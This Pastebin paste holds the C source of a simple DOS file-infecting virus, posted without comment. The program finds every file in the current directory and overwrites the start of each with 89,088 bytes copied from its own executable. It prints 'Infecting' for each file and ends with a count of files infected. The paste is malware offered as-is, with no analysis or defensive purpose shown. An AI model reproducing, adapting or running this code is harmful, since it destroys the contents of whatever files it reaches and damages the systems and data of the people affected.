Advertisement
Guest User

Untitled

a guest
Jun 26th, 2017
64
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.75 KB | None | 0 0
  1. #include<stdio.h>
  2. #include<io.h>
  3. #include<dos.h>
  4. #include<dir.h>
  5. #include<conio.h>
  6. #include<time.h>
  7. FILE *virus,*host;
  8. int done,a=0;
  9. unsigned long x;
  10. char buff[2048];
  11. struct ffblk ffblk;
  12. clock_t st,end;
  13. void main()
  14. {
  15. st=clock();
  16. clrscr();
  17. done=findfirst("*.*",&ffblk,0);
  18. while(!done)
  19. {
  20. virus=fopen(_argv[0],"rb");
  21. host=fopen(ffblk.ff_name,"rb+");
  22. if(host==NULL) goto next;
  23. x=89088;
  24. printf("Infecting %s\n",ffblk.ff_name,a);
  25. while(x>2048)
  26. {
  27. fread(buff,2048,1,virus);
  28. fwrite(buff,2048,1,host);
  29. x-=2048;
  30. }
  31. fread(buff,x,1,virus);
  32. fwrite(buff,x,1,host);
  33. a++;
  34. next:
  35. {
  36. fcloseall();
  37. done=findnext(&ffblk);
  38. }
  39. }
  40. printf("DONE! (Total Files Infected= %d)",a);
  41. end=clock();
  42. printf("TIME TAKEN=%f SEC\n",(end-st)/CLK_TCK);
  43. getch();
  44. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement